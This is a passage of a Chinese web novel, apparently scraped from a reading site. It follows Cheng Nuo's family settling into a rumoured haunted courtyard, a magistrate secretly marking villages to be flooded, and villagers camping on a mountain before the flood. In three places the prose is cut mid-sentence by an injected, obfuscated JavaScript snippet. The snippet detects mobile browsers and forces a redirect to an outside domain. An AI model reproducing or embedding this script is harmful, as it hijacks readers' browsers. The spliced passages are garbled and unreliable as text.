程诺:“自然,住在榴花巷的,我都可以送货上门的,价格上也有优惠。” 一听有优惠,妇人也顾不上什么风水,一脚踏进门槛,笑着道:“我一瞧你就是个实诚孩子,家里人长得慈眉善目,看着就好相处,来,婶子帮你,以后街里街坊,多走动,多联系,哈!” 程母见她前后两种态度,胳膊肘杵了杵程诺,小声道:“有钱能使鬼推磨。” 叫阿花的妇人,搭手抬了几个桌椅,又搬了几个箱子,确实有心帮忙,不是嘴上说说,程母对她的态度也转变几分,唠起榴花巷的琐碎小事来。 “老姐姐,恕我多句嘴,你们买这间院子时,知不知道,知不知道……” “死过人是吧?”程母见她半天张不开嘴,干脆替她说了,“当然知道,不然这院子也不会便宜。” 阿花见程母面色如常,心中不由感慨:胆子真大。 “不仅是死过人,榴花巷众人都知道,这院子风水不好,住进来的不是赌得倾家荡产,悬梁自尽,就是多年无所出,家宅不宁,我见老姐姐亲切,多说几句,您别怨我多管闲事,我是怕房东没有如实告知,你们吃了哑巴亏。” 能当面说这话的都是实诚人,程母好坏分得清:“怎么会,我看妹子也亲切,不过妹子不用替我们担心,我女儿跟房东是熟识,不存在隐瞒欺诈,我们就是看中这套院子,才买下来的。” “你们不怕?” 程诺:“平时不做亏心事,半夜不怕鬼敲门。买房之前我打听过了,那赌鬼是在赌坊里被人打死,伪装成在家上吊的样子混淆视听,根本不是**死的;至于多年无所出的那对夫妻,是男方有疾,喝药调理了五六年这才治好了,夫妻两好面子,推说风水不好;还有上一任租户,冻死的一家四口,着实可怜,但不满婶子说,我们大梨村冻死的村民也不少,那是天灾造成的,说不准的事,要是为了这把原主住的屋子定义成凶宅,岂不是听着寒心。” 滔滔不绝一番话,听得苏阿花一愣一愣。 她在榴花巷住了十几年,她都不知道这些秘密,程诺是从何知道的? 程诺冲她眨眨眼:“做生意,认识不少人,医馆、衙门、包括房东自己也调查过,消息错不了,放心吧婶子,以后常来常往,您就瞧瞧我家住进来后能不能扭转这里的‘风水’。” 话说到这份儿上,苏阿花心中的顾忌消散大半。 主人家都不怕,她只是个邻居,更不用担心了。 “阿花妹子,晚上来家里吃饭,把你男人也叫上,我女儿厨艺好,到时候给你们准备卤猪耳。” 程母将人送出门。 阿花擦了擦额角的汗,见程家几个汉子长得人高马大,妇人也精明强干,阳气足得很,一点不像会被凶宅影响的样子,内心的最后一丝疑虑也没了。 “成,我家里还藏了几壶好酒,拿过来庆祝你们的乔迁之喜。” 晚饭时分,程家收拾利落的厨房,飘出阵阵香味。 苏家人进院时,看到程诺和一个高个子俊朗男人,正将院中的积水往院外倒。 “奇怪,这屋子地势挺高的,怎么会有这么多积水?” 苏阿花如今已经将程家当成自己人,对比三天两头吵架的孟家人,自然是程家更亲切。 阿花朝某方向努努嘴,眼里满是鄙夷:“记住婶子的话,以后离这两家人远一些。” 程诺顺着她的目光望过去,那不正是孟母和冯知意住的地方吗? 来之前,关长宏一早将榴花巷的地形图给她摘抄一份,清楚标记几个重要位置,其中就有孟母等人的住址。 说起来,冯知意现在住的院子,还是关长宏租出去的。 程诺好奇道:“婶子的意思,我家的积水,是他家倒进来的?” 苏阿花将前两天两家人起龃龉的事,跟程诺说了一遍。 “姓孟的好歹是个读书人,竟这般不明事理,纵容母亲胡作非为,这样的人以后当了官,家里人跟着鸡犬升天,还不得成为为祸乡里的恶霸。” 妇人的猜测得不错,原书中,虽尽力将孟南洲刻画成深情又**通今、怀才不遇的男二号,可事实上,他对母亲的纵容,对亲妹的放任,才是导致他多年仕途不得寸进的关键。 一屋不扫何以扫天下。 连亲人都无法管束的官员,即便再有学问才能,在百姓心中,他依旧是有污点的。 就像书中提过的,孟母偷放印子钱,东窗事发为自保,拉人垫背挡灾;孟思静长街驾马伤人,不思悔过,反将击鼓鸣冤的老百姓一家灭口…… 桩桩件件恶事,孟南洲统统知情,但为了母亲和妹妹的安全,隐瞒不报,处理善后,大事化小小事化了。 这样的人,即便在作者笔下被塑造成情深不寿、痴心不改的大情种,依旧改不了他骨子里视人命如草芥,标新立异的伪善面孔。 程诺佯装不知,问:“是那个去年高中的孟南洲,孟举人吗?” “就是他。”苏阿花这才想起来,孟南洲以前也在大梨村住过一段日子,没准还跟程家人认识呢,“你也认识孟举人?” “何止认识。”程诺淡淡道。 这时,程母出来喊众人用膳。 一张方圆桌坐不下,小孩子老规矩另外做一张小桌子,除了酒水,其他吃食一样。 阿宝和陶诚被何大夫接回家照顾,不明来历的小少年阿盼跟随程家人一起搬来城里。 程父留在大梨村,跟村长一起继续劝说村民上山避祸。 三房中,除了三房一家因为武氏害怕新屋不吉利,不同意搬家,其余人都过来了。 至于程诺留在云溪村的青砖瓦房,里头能用的东西早被悉数带走,本做好了房子日后会被洪水冲毁的打算,谁想到村里竟有人出钱想买下房子。 程诺一开始不想卖,奈何上次滑雪事件过后,孙村长包括许多村民打着维护乡野治安的旗号,不允许云溪村以外的人踏足村内。 明眼人都看得出,这个新规是专门为程家人准备的。 既如此,程诺也不必替买家考虑。 许是怕程家人在外败坏云溪村的风气,价格上没有太大落差。 最终以十五两左右的价格出手。 当初建造新房,程家老夫妻俩出资二十两,六年风吹日晒,砖墙折旧,十五两也不算低。 程诺乐得接受,转头购置新家具。 临走前,不忘提醒村口孙婶子一家,暴雪之后的洪灾不容小觑,孙婶子若是信得过她,就搬到大梨村,跟村民一起上山避祸,村长叔公那边,程诺提前打过招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512270|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼,村长一应接受并善待。 当天晚上,趁着夜色,孙婶子带着一家人和家里的重要财物,连夜赶到大梨村。 她对程诺有种无条件的信任,对比云溪村人情冷漠,孙村长的恩将仇报,她宁愿到大梨村。 大梨村的村长询问过何大夫的意见,直接将人带进何武家住下。 何武一家的尸体已经下葬,选在离鹿山不远的脚下,那里有一片坟冢。 孙婶子听闻何武一家的遭遇,特地去买了蜡烛白纸祭奠,言明只是借住,等洪灾过去,一定物归原主。 住了人家房子,孙婶子心中愧疚,看到何大夫一个人带两个半大孩子,便包揽了三人洗衣洒扫的工作,做饭时也常常想着几人。 后来干脆直接两家灶台并一家,三餐都一起吃得了。 何大夫寡居多年,只会行医,不会做饭,好不容易在程家过了几天衣食不愁的好日子,如今程家分成两拨人各自居住,他不好意思继续蹭饭,已经吃了好几日半生不熟的稀粥,梆硬的窝窝头。 现在好了,孙婶子厨艺不差,何大夫口腹之欲又能得到满足了。 再说程家这边,新房子的第一顿饭,吃得很热闹。 有苏阿花带来的藏酒暖场,大伙儿的兴致变得高起来。 天南海北地聊,说着说着,苏阿花忍不住又将话题转到孟冯两家人身上。 “你们不知道,咱们巷子里风气全被这些人糟践坏了,无媒苟合,珠胎暗结,亏他还是读书人,半点礼数不懂。”苏阿花喝了酒,话变得琐碎起来。 苏秀才拦着母亲继续倒酒的动作:“娘,说好酒带给程伯母一家,你怎么比谁都喝得多?” 红着脸的苏阿花讪笑道:“瞧我,高兴起来什么都忘了。” 程诺摇着头说无妨,亲自又给她倒了一杯,“婶子不用客气,当自己家就好,日后少不得麻烦婶子的地方,还请您多费心。” 苏阿花见她长得好看,人也懂礼貌,心生喜悦:“我要是能有你这么个好儿媳就好了,可惜我儿子长得粗狂,不如你相公俊美,怕是娶不到你这样的美娇娘。” 程诺倒酒的动作一顿。 哐哐吃菜喝酒的程家人纷纷抬头望过来,见妇人的眼神落在一身黑衣的十七身上,有人摆手解释,有人捂嘴笑着看戏,还有如盼儿这般愣了片刻,接着拍手欢呼:“十七叔终于要当我阿爹了吗?” 阿盼忙捂住她的嘴:“别瞎说。” 程云坐在小孩这桌,闻言跟着笑起来,小声冲这桌的几个半大孩子道:“悄悄告诉你们,我听阿奶说,她想让小姑再嫁呢!” 与华塞进嘴里的排骨突然不香了,她好不容易跟小姑姑重新住在一处,她还想跟她多学学赚钱的事呢,不愿意小姑姑嫁人。 “干嘛非得嫁人,小姑姑不能带着小盼儿独自生活吗?嫁人有什么好的,我以后就不想嫁人。” 程云伸出手指轻戳她的脑门:“没有女孩子不嫁人的,再胡说,小心我告诉二叔二婶。” “你说呗,我才不怕。” 与君:“不嫁人,你以后想做什么?” “做什么都行啊,不嫁人我可以游山玩水,我可以行商,我可以做任何我想做的事。” 她心里有个藏了多年的想法,想从永安县一路走去西北,去看看外祖父如今待着的地方。 与君老学究般摇摇头:“女子应将相夫教子为己任,行商玩乐只能偶尔为之,怎能忘本。” 与华嘟着嘴,一脸不满道:“我怎么就忘本了,我看三哥你就是读书读傻了,一天到晚埋头在书本里,学了一肚子酸腐教条。” “与华!”程云声音扬高,制止她继续口无遮拦。 与华见亲哥脸色逐渐落寞,咬着下唇,意识到说错话了。 她连忙找补:“哥,我不是那个意思,我是想说,读书挺好的,读书让人明礼,你是全家最有学问的,以后我们还指望你光宗耀祖呢。” “光宗耀祖……”与君冷笑数声,放下筷子径直走进卧房。 与华见哥哥生气了,急得原地直打转,最后没办法,只能去找亲娘求救。 第一百七十二章 被放弃的几个村落 顾寒栀听完来龙去脉,起身离席,推开卧房门时,看见床踏上怂起一团高高的被褥,里头的人将被子盖过头顶,像是要跟世界隔绝。 地上散落几本书籍,昨日程诺刚买回来的新书桌上,此刻乱成一团,显然不久前刚有人拿它撒过气。 “与君?”顾寒栀轻轻推搡榻上蜷缩的身影。 身影岿然不动。 顾寒栀立在床前,姿态端方,语气平淡:“我有没有跟你说过,轻慢圣贤书,必招鬼神怒,把书捡起来。” 憋了许久郁气的与君,彻底忍不住,猛地掀开被子下床,直接在书本上踩了几个脚印:“我讨厌读书!我为什么要读书?” 顾寒栀依旧是一副不悲不喜的样子:“读书是你改变人生唯一的途径。” “你不用哄我,我是罪奴之子,罪奴之子根本没有机会入考场,读再多有什么用?”与君双眼赤红,他一直是父母眼中最乖顺的孩子,程家其他孩子丰富的童年统统跟他无关,他从懂事起,母亲只会在他背出课本上的文章时,对他展露笑容。 他很小就知道祖父母的经历,那时候他不懂什么是罪奴,不知道罪奴之子的身份会给他在这个世上带来多少不便和白眼。 再长大些,他从书本中得知,罪奴不得科举、不能做官,不能从军为将,不得经商置产,甚至连与良民通婚也是困难重重。 他觉得自己多年的寒窗苦读成了笑话。 可母亲依旧要求他每日做功课,上不起学堂,母亲亲自教书,没有文房四宝,就地取材也要学。 程与君知道母亲的学识渊博,他曾看过孟南洲写的文章,不论是内容和立意,不足母亲十之二三,他即为母亲高兴,也为她惋惜。 可这又怎么样,改不了罪奴的身份,他一切的努力都是枉然,天底下不会有那么多如父亲一般的傻子,愿意跟罪奴通婚,生下一群小罪奴。 除非,他们一家可以脱籍。 可脱奴籍太难了,难如登天。 “娘让你读书是为了让你言出有尺,说话有德,纵然不能考取功名,有一日你哪怕深陷泥淖,依旧可以仰望星空,即使物质匮乏,不耽误你精神丰富。”顾寒栀几乎是自述般,将这些年的经历告诉儿子。 “还有,万一哪一日我们成功脱籍,以你的学识,完全可以直接参加童试、接着是乡试、院试,这不比从头学起快得多?” 与君眼眶微红:“我们真的能有脱籍那天吗?帝王特赦、军功奖赏,太难了,娘,从古至今,没几个人能成功的。” “会有的,”顾寒栀素白手背贴着儿子脸颊,“人活着不就是为了个希望吗?” 窗外,驻足良久的程二顺本是来看二人为何迟迟不归的,没想到听到母子两谈话。 在底层老百姓的认知中,成了罪奴的人,这辈子都得是罪奴,从没有人想过能有摆脱奴籍的一天。 在遇到顾寒栀之前,他也是这么觉得的。 罪奴又如何,不能经商置产,不能读书做官,这些说起来的束缚,是限制,而事实是有几个庄稼地里出来的老百姓,能靠经商发财,能靠读书改变命运。 当个走街串巷的普通小商贩,官府的人不会管,你想读书想识字,官府的人也不会管,程二顺觉得是不是罪奴,除了说出去不好听,貌似不会对生活带来太大的影响。 他不知,一直以来,儿女和媳妇被身份困扰,郁郁寡欢多年。 或者,他不是不知,而是不敢承认。 承认了他就得想办法帮他们脱籍,上战场吗?将军百战死,将士十年归。 无名小卒是没办法立军功的,战场上刀剑无眼,即便老天爷眷顾,真的让他立了大功,军功就能落到他头上? 他怯懦了,退缩了,没有在征兵的时候选择上战场。 程二顺眼底的落寞犹如一汪深不见底的寒潭,他拽紧双手,似是下了某种决定。 程家人入住榴花巷的消息,很快在巷内传开。 仅一墙之隔的孟母,自然也得到消息。 “程家一群穷酸货,能买得起榴花巷的房子?看来卖卤肉真是赚了不少钱,早知道当初让你哥再忍一忍,等咱们得了卤肉配方再把那丑妇踹了,如今钱财不就咱们的吗?” 孟母悔恨不已,连带着孟思静的火气逐渐大起来。 凭什么程诺一家越过越好,她们家一场暴雪后过得捉襟见肘,别说是拿闲钱买房子,家里连买米粮的银子都不多了。 “娘,家里米缸见底了。” 孟母头疼不已:“跟我说有什么用,我是能变出银子吗?找你哥去。” 孟思静:“哥把能借的同窗都借遍了,要不我去找嫂子吧。” 冯知意怀孕以来,孕吐厉害,脸色不复往日白嫩,镜中隐隐约约瞧见眼尾长出的褐色斑点。 “真丑。” 上一世,她脸上就没出现过这些东西,果然是营养摄入不够。 冯知意气地将手中铜镜倒扣在桌面上:“琼枝,别再让我看到任何一面镜子。” 琼枝连连喊是,利索地收拾起来,期间不忘将今日听到的消息告诉主子:“奴婢一早听说那间凶宅住进一户姓程的人家,特地去看了一眼,没想到竟然是老熟人。” “程四娘?”冯知意本就不美妙的心情,更加烦躁,“阴魂不散,真是讨厌。” 琼枝应和:“可不是,暴雪**那么多人,怎么没把程家人冻死。” 冯知意手指搓着隐隐发胀的太阳穴,闻言动作一顿:“程家人都来了?那间屋子不大,住不下这么多人吧?” “奴婢打探到的消息,程家三房和程父都没来,好像是老三媳妇怕鬼,觉得屋子不干净。”琼枝消息灵通。 “她们还住在大梨村?” “是的。” 冯知意若有所思点点头,接着道:“前两日送去衙门的消息,有回应了吗?” 琼枝正想跟她汇报:“有了,杨县令派人回话,说您泄洪的法子特别好,只是如今牺牲哪几个村子,一直商议不决,询问您是否有空,能帮着做个参考。 我推脱您身子不适,不适合出门,若有想法,奴婢会代为传达,杨县令听完样子挺惋惜的,姑娘,杨县令现在对您十分信任呢。” 冯知意嗤笑一声:“当然,我给他献计献策,他从我这儿得了多少好意见,若不是天灾暴雪,他的官位本该升一升的,不过也无妨,等洪灾一过,该是他的还是他的。” 琼枝对女子的聪颖羡慕不已:“还是我们姑娘聪明,人美心又善,奴婢成日跟着您,吃一样的饭,睡一个屋,怎么我就想不出姑娘的点子呢?” 冯知意微微弯了弯嘴角,谁让她重活一世呢,未卜先知的能力就能让她在这世上如鱼得水,只要稍稍从指甲缝里泄露一星半点天机,便能让这个世界发生翻天覆地的变化。 比如即将到来的洪灾,大坝会决堤,百姓会流离失所,清河镇下的云溪和灵水两个村镇,会成为泄洪的替罪羊。 这些是上辈子官员们苦心商议过后,一致做出的最优决定,她提前将方法透漏给杨县令,想出泄洪办法的人就是她了,杨县令会领她这个人情的。 毕竟现在的他焦头烂额,恨不得跪地将头上的乌纱帽抛出去,谁让永安县地势低,冲垮堤坝后受灾最严重的就是他管理的地界。 淹掉几个无关紧要的小村子,保下衢州大部分百姓,舍小为大,谁也不能指摘他的不对。 可……放弃哪几个村子呢? 杨县令收到消息的时候,头顶的白发正呲呲往外冒,偌大的桌案上摆着永安县地域图,其中几个乡村被标记了显眼的颜色。 “大人,榴花巷那边来信了。”师爷带着信纸来回禀。 杨县令闻言,停下手中动作,手挥舞得几乎要看见残影:“呈上来我看看。” 薄薄的一张纸,仿佛有千斤重。 能不重吗?这可是关系到几个村庄上千口人性命的大事。 信纸摊开,了了几个大字。 “云溪、灵水、大梨。” 云溪、大梨是村子,灵水可是一整个乡镇。 “三个乡镇有百姓两千余户啊!”师爷看得心惊,就是知道信纸意所指,才更觉得胆颤。 杨县令闭了闭眼:“若全堤崩溃,死的会是两万户,到时候不仅是我,还有你们,凡是得到过好处的,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518508|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也逃不掉!” 师爷后背发凉,县令口中的“好处”,便是那层层下发的河堤款。 说来冤枉,他只是其中最微不足道的一部分,远比不上上峰牙齿缝里留下的一点肉,可怎么办呢,收了就是收了,逃不掉,也赖不掉。 师爷问:“需要下官现在去安排这三个乡镇的村民提前避难吗?” 杨县令点点头,在师爷踏出门的刹那,又惊慌失措地把人喊回来。 他来回踱步,神情紧张,最后像是下定决心般,目光森森落在师爷身上。 师爷一瞬间明白他的意思。 不说。 任凭洪水肆虐。 意味着三个乡镇的百姓将无一幸免。 “这……会不会闹太大?”师爷尚保留些许良知,他也有亲人在这三个乡镇生活。 杨县令眼神里一片阴鸷,声音像是从遥远地方传来的厚重钟鼓声:“提前说了,村民一定会**,本官现在无暇顾及这些平民,左右不过是些泥腿子,**便**,只要镇上的商户不受到影响,永安县过几年依旧可以欣欣向荣。” 师爷不能忤逆杨县令,只能接受命令,转头回去告诉家里人,赶紧通知居住在这三个乡镇的亲戚,悄悄搬出来,再三叮嘱不能惊扰到身边的人。 又过了三日。 大梨村的百姓,终于在程父村长,以及程诺时不时的骚扰下,无奈地听从指挥,拖家带口上了山。 鹿山对土生土长的大梨村人来说,太熟悉了,甚至可以说,哪怕闭上眼,也能按照记忆摸上山。 贵婶一家大包小包扛了一大堆,贵叔本就不高的身躯,在包裹的沉重压力下,显得背脊越发佝偻。 “富贵,帮你爹搭把手,搬完这趟,还得再回去一趟,娘最喜欢的那套妆奁还没拿上呢,好木头做的,以后可以留给你媳妇。” 富贵热得额头汗直流,闻言“哎”了一声。 贵叔边搬东西,边朝山下望去,“大福他们来了吗?” 贵婶没好气道:“你还有心思关心别家的事,高大福如今富贵了,孙女卖了个好价钱,看人鼻孔朝天,说什么都不听。” 贵叔叹口气:“他从小就这样,爹娘宠坏了,没想到老了,还是这副鬼样子。” 山下,大梨村。 程村长站在高家院中,说得口干舌燥。 “大福,听叔一句劝,你家人多,搬起来费劲,赶紧动起来,不然山上的好位置可轮不到你家。” 高大福穿了身崭新的马甲,头发经过精心打理,精神面貌跟以往大不相同,闻言指着家里新购置的家具,道:“村长,你瞧瞧,我家刚添置的红木圈椅和桌面,实在太重了,搬不动啊,再说了,就算能搬动,山上人多,谁不小心给我碰坏了,我找谁说理去?” 村长气得一个倒仰:“这些都是死物,人若**,什么都没了。” 高家老大也换了新衣裳,嘴角流油,正值饭点,应该吃了顿大餐。 “呸呸呸,谁死?你们都**我家人也不会死。又是程家人搞出来的名堂对不对,我就不懂了,程家说什么你们听什么,比圣旨都灵,程家若让你们去吃屎,你们去不去?” 老大媳妇袁氏是所有人里脸色最差的,一听“程”这个字,像是条件反射般从凳子上窜起来骂人:“杀千刀的程家人,要不是他家见死不救,我婵儿也不会……也不会落得如此下场,还敢在我家门前蹦跶,我看他是不要命了……” 一旁抱着行李经过的村民,闻言停下脚步,竖起耳朵听起来。 “什么下场,高婵儿去哪儿,好久没见到了。” “你不知道吗?高婵儿攀高枝去了,嫁给了镇上洪员外。” “不是洪少爷吗?怎么又成了洪员外,攀高枝是好事,怎么听高老大媳妇的意思,像是进火坑一样。” “可不就是进火坑,洪老爷年纪快赶上高大福,能当她祖父的人了,高家此举跟卖女儿有什么不同,瞧瞧他们一个个穿金戴银,不知道的以为咱们村里也出了个员外郎呢!” 袁氏拿起墙边的扫把,大力挥舞起来,试图赶走那些嚼小话的村民。 “滚!都给我滚!” 第一百七十三章 洪水卷走程母 村民可不惯着高家人,奚落道:“敢做别怕人说啊!把女儿卖给糟老头子当小妾,你这个当娘的心也太狠了。” “就是,洪员外配你都嫌岁数大,你怎么忍心让女儿去伺候一个可以当她祖父的人?还是钱财动人心呦~” 袁氏气疯了,“啊”尖叫几声,疯狂用长扫帚拍打众人,试图扇烂他们的嘴。 不久前,高娟儿回了家,将高婵儿成了洪老爷十二房小妾的消息带回,她差点没原地昏死过去。 她精心养大的女儿啊,她的婵儿才十六岁,当下她就想去镇上把人接回来。 谁想到洪家后脚抬来上百斤米粮炭火,又用红布包裹整整一百两银子,说是送给高家的聘礼。 那可是一百两白花花的银子,袁氏看着没长大的儿子,看着浑浑噩噩没大用的丈夫,看着重男轻女的公婆,一腔给女儿讨公道的热血霎时凝固了。 女儿在洪家好歹生活富足,不比随便嫁个乡下人吃苦受累一辈子强,袁氏说服了自己,心里的愧疚消散大半,本来已经放下,想着去洪家探望女儿,劝说她认命。 谁想到洪家下人却说,府上是有个十二姨娘,但惹了老爷不痛快,被发卖了。 “发卖?那可是活生生的人,怎么能说发卖就发卖了?” 下人奚落道:“成了妾,就不是人了,典当还是送人,打骂或者欺辱,全看主人家高兴,发卖了算什么,就是立刻打**,也没人敢说什么?” 袁氏顿时晴天霹雳,这才知道当初程云被洪老爷打了一顿,程诺和十七为了讨公道,把洪老爷得罪了。 为了发泄火气,洪老爷才把高婵儿发卖了。 至少在袁氏心中,事情的前因后果就是这样,回来后她大闹了一场。 高娟儿被逼跪在地上,控诉高婵儿想把她送出去讨好洪老爷,斥责高婵儿过河拆桥,教唆府中侍卫打死程云。 程家人当初问过高婵儿要不要一起走,是她放不下荣华富贵,拒绝了程诺的帮忙,她的下场是她恶毒、丧良心咎由自取。 那晚,高娟儿被迁怒,挨了好几个巴掌,身上都是大房踹出来的脚印,她的亲娘陈氏一脸失望望着她,戳着脑袋问她,为什么不答应当洪老爷的十三房小妾。 这样洪府送来的礼,就会是双倍数,她的弟弟以后就不愁娶不到媳妇了。 高娟儿发了疯跑去出,至今没回来。 袁氏收回混乱的思绪,目光森冷望着程村长。 村长跟程家沾亲带故,怎么可能真的为高家着想,程云和程大壮父子俩因为高婵儿受伤的受伤,挨打的挨打,两家早是老死不相往来的地步。 “别白费力气了,我们家不搬,”袁氏一手叉腰,一手扫帚撑地,姿态凶恶,“我倒要看看洪水有多大本事,能冲垮我家的屋顶不成?朝廷花三十万两白银建造的堤坝是摆设吗?周边的村子都没避险,偏咱们村的人胆小怕死,说出去还当我们大梨村的人全是孬种呢!” 高家老大老二老三,异口同声:“我们不是孬种,搬走的人才是孬种!” 村长气得鼻孔冒烟:“好好好,我说不动你们,希望你们别后悔。” 高家老大嗤笑一声:“后悔的是孙子,咱们村的地势比周边几个村高多了,他们都没搬,我们搬什么?村长我瞧你老眼昏花了,趁早退位吧,别祸害大伙儿了,行不行?” 程村长双手背着腰,气得不清,脚一跺,彻底不管高家人,挨家挨户往村尾走去。 “他们不听?”程父刚帮住村尾的小李一家将家伙事搬上牛车,看见村长唉声叹气的身影,大概猜出点意思。 村长自嘲道:“我管不了他们,我老眼昏花该退休了,他们有本事,随他们便吧。” 大梨村的百姓,搬得差不多了,从村头到村尾,只有三两户跟高家一样死活不肯搬离的人家。 程父和村长再三劝解无果,只能尊重他人选择。 鹿山上。 “这里背风朝阳,地面平整,正是扎营的好去处。东侧有山泉,方便村民饮水,西面是陡崖,防止野兽突袭。”程诺抓起一把土捻了捻,“土质紧实,不会渗水。” 十七跟在她身后,用铁锹敲打岩壁:“岩层坚固,不怕落石。确实是个好地方。” “你考虑得比我仔细。”程诺笑笑。 十七跟着微笑:“画蛇添足罢了,是你选的地方好,我现在就去把人喊过来?” 程诺点头。 没多久,村民**到一处空旷地方。 程诺站在稍高些的位置,确保每个人都能看见她的声音,她声音响亮清脆:“乡亲们,我选好了安营扎寨的地方,就在咱们脚下,这块地靠近山泉,背风朝阳,适合居住。” 人群里不少汉子是爬山老手,经常在鹿山上夜宿,四下观察片刻,立即知道程诺所言不虚。 程诺继续道:“感谢各位信任四娘,在洪水没来之前,愿意听我的建议,搬到山上居住,我知道此举在不少人看来有些荒谬,但我这个人一向不喜欢打无把握的仗,哪怕村里因为洪灾死去一个人,也是我不想看到的,父老乡亲从小看着我长大,都是四娘的长辈,四娘不会做对不起长辈们的事。” 人群中有人高声应和。 “四娘,我们信你的,你说什么就是什么,要不是你教大伙儿滑雪,村子里不知还要死多少人。” “是的,我们的命是你给的,只是在山上住几晚而已,不是什么大事。” “四娘,我们都是信你的,说吧,接下来我们怎么做?” 程诺朝村长看了眼,在得到他老人欣慰的颔首之后,缓缓道:“首先要解决的第一个难题,是搭建居所,我已经想好了,男人们去砍松枝,女人们将带回来的松枝铺在地上,再垫上草席。这次我们不以家庭为单位,而是分成孤寡老人、未婚男女,已婚带孩子妇人和成年男性。” 此话一出,人群中开始议论起来。 “我不跟我家那口子住一处啊?太好了,这么多年,总算能自由地喘口气了。” “干嘛要把一家子分开,我婆娘不在我睡不着,还有我孙子,晚上要听我讲故事的……” “哈哈哈得了吧,麻子,你大字不认识一个,还讲故事,你是怕没人伺候,生活不能自理吧!” “我觉得这法子挺好的,既照顾了孤寡老人,还能腾出手让男人排班巡逻,不用担心会打扰其他人休息,反正大老爷们能有几个带得好孩子的,大伙儿分工明确,各司其职,各展所长。” 说话的人是小李,话音刚落看到程诺朝他投来赞许的目光,小李莫名心里一阵骄傲。 很快,男女分工行动起来。 十七有野外生存的经验,他搭建的窝棚最结实,很多搭不好,或者搭建不牢固的村民,纷纷来取经。 村民里有妇人问:“十七,你以前到底干啥的,怎么什么都会?” “小时候过得苦,什么都学点,才能活得长。” 十七正用藤蔓将碗口大的竹竿扎牢固,闻言抬起头,好看的眉眼往上一扬,顿时看呆了一种老少妇人。 一番让人心疼的话,让大伙儿脑补出一段凄惨的童年时光,妇人们嘘寒问暖,恨不得抱在怀里好好安慰安慰他。 女人们沉醉其中,男人们看十七的眼神就不太顺眼了。 最后实在怕十七再待下去会影响村里家庭和谐,程诺只能把他拉去铺防水层。 下层用油布,上层覆盖新鲜的松枝,既防雨又隐蔽,四周围挂上芦苇编的帘子,留南面作门,挂上浸过桐油的麻布挡风。 一番操作,一直到晚上没了光线,众人才停下。 结束前,程诺安排了明日个人的工作,窝棚搭建得差不多,剩下的就是挖排水沟,最好将山泉水引入营地。 具体怎么操作,程诺没想清楚,睡前在脑海中构想蓝图和可实施性方案,没多久沉沉睡去。 梦中。 冰雪消融,暴雨也如约而至,雨水恨不得把天下漏了。 有个人影踩着齐膝泥,深一脚浅一脚往堤坝上赶,蓑衣被打湿,冰凉的雨水顺着斑白的鬓角往脖子里灌。 她眯眼看着往日里平静的飞虹渡,此刻像是一条发了疯的蛟龙,浊浪里翻滚着连根拔起的树杈、撞碎的磨盘,甚至还有谁家猪圈的顶棚。 “盼儿……盼儿……” 老人撕心裂肺的吼叫声,在程诺耳边响起,她听得心惊胆战。 这才看清刚才的男人是程母。 “娘,娘。” 程诺想喊出声,奈何嘴巴像是被水泥糊住,她只能眼睁睁看着程母往洪水肆虐方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522365|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踱步而去,一个高过屋顶的巨浪来袭,程母在眼前没了踪影。 “娘!” 程诺从梦中惊醒,冷汗涔涔。 睡在她左边的是绿草,右边的是贵婶,听到动静抹黑起身。 贵婶笑道:“做噩梦了?我听见你叫娘。别看白日里像个女将军一样指挥这儿指挥那,骨子里还是个做噩梦要喊娘的小姑娘。” 程诺眼前一片漆黑,窝棚透光性不好,看不清屋外的月光,她突然感觉一阵呼吸不畅,缓和许久,直到绿草给她端来一碗水,才逐渐从梦境抽离。 “我梦见我娘被洪水卷走了。”程诺。 绿草给她擦了擦额角的汗:“你太累了,这几天操劳过度,明天你就别动手了,在一旁指挥他们干。” 程诺点点头,重新躺下,只是这次思绪异常清晰,直到左右两边传来和缓的呼吸声,她依旧睁着眼没有睡意。 梦里被淹没的场景,她太熟悉了。 是大梨村。 上一世没有遭受泄洪牵连的大梨村,这一世为什么成了牺牲品中的一个。 是她的出现带了蝴蝶效应,还是冯知意的重生,导致秩序崩塌,剧情崩裂。 娘为什么在找盼儿。 盼儿不是待在清河镇榴花巷好好的吗? 她特地将赵氏、顾寒栀还有几个小的留在榴花巷相互照应,连武氏她也摒弃前嫌,忍下她叽叽歪歪说风水不好的一番话。 梦里清楚告诉她,盼儿丢了,程母是在找孙女的过程中被洪水卷走的。 不行,她明日要再回去叮嘱几句,梦里的意外绝不能发生。 程家每个人都要好好的。 大梨村的百姓,也得顺顺利利在洪水中活下来。 第二日一早,程诺将手头上的工作交代下去,派十七盯着村人,回了趟榴花巷。 